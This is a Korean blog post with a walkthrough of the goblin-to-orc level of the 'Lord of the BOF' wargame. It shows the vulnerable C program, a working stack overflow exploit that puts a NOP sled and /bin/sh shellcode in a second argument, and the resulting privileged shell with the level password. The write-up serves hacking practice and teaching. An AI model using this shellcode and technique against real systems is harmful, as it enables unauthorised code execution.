Notice
Recent Posts
Recent Comments
Link
- NEW초롱이의 하루
- kisa
- 길은 가면, 뒤에 있다
- C언어 예술가
- Zer0 day - Zer0 day
- Information Security
- Secure-EDU
- 앙큼한유채's 일상 Story
- Library of Ezbeat (잠정 폐쇄)
- The Factory
- 안드
- 모후모후의 커뮤니티
- 공학도의 잡다한 시선
- 안드2
- IT속에 코코아
- IP주소검색(whois)
- IP주소검색(좌표포함)
- 소프트웨어 경력 관리
- 해저 케이블 지도
- MAC주소검색
- IANA
- 포트번호검색
- 자신의IP확인
- 웹페이퍼캡처
- 나의패스워드보안등급
- 웹 취약점 분석
- IT용어정리
- GitHub
- 라이브러리 모음
- 웹마당넷
- 시스템콜참고
- BCD 변환
- 보안뉴스
- 코딩도장(C, Python)
- 백준알고리즘
- 코딩테스트 연습
- 웹 사이트 테스트
- 스크립트꾸미기
- ctf대회목록
- 전자신문
- hash 크랙
- CVE
- 도메인등록
- N클라우드
- BugBountyList
- 칼리공식사이트
- CR4FTING BOX
- 아스키코드 변환
- 웹 사이트 통계 및 평가
- PDF변환
- AWS 및 클라우드 정보
- 가상화 및 서버관련
- 티오리
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 안드로이드
- 리눅스
- 쉘 스크립트 if문
- 그라파나
- Linux
- 쉘 스크립트
- synology
- nginx
- 클라우드
- LEVIATHAN
- System
- 네트워크
- 라즈베리파이
- Android
- GPIO
- Shell script
- RaspberryPi
- 메소드
- Python
- API
- ACL
- 자바
- GUI
- 프로젝트
- docker
- Java
- centos docker
- JSP
- 쉘 스크립트 기초
- Tkinter
Archives
- Today
- Total
IT창고
[BOF] goblin -> orc 본문
orc 문제입니다.
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
더 이상 환경변수에 쉘코드를 올릴수없게되었습니다. 그리고 bf주소를 꼭 사용해야하기 때문에 오버플로우 이외의 방법을 사용할수없습니다.
힌트는 printf("argv error\n"); 여기서 확인할수있습니다 즉 argv[]에 쉘코드를 올려 사용하면됩니다.
grgv[0]에는 파일명이 들어갑니다.
grgv[1]에는 첫번째 인자가 들어갑니다.
grgv[2]에는 두번째 인자가 들어가는데 여기에 쉘코드를 사용합니다.
argv[2]인자에 NOP코드를 가득 넣어두고 원하는곳을 잡고 사용하면 됩니다.
[goblin@localhost goblin]$ ./orc $(python -c 'print "\x90"*44+"\x83\x77\xff\xbf"') $(python -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80"')
wÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
bash$
'WarGame > The Load of the BOF' 카테고리의 다른 글
[BOF] wolfman -> darkelf (0) | 2018.02.12 |
---|---|
[BOF] orc -> wolfman (0) | 2018.02.12 |
[BOF] cobolt -> goblin (0) | 2018.02.10 |
[BOF] gremlin -> cobolt (0) | 2018.02.10 |
[BOF] gate-> gremlin (0) | 2018.02.09 |
Comments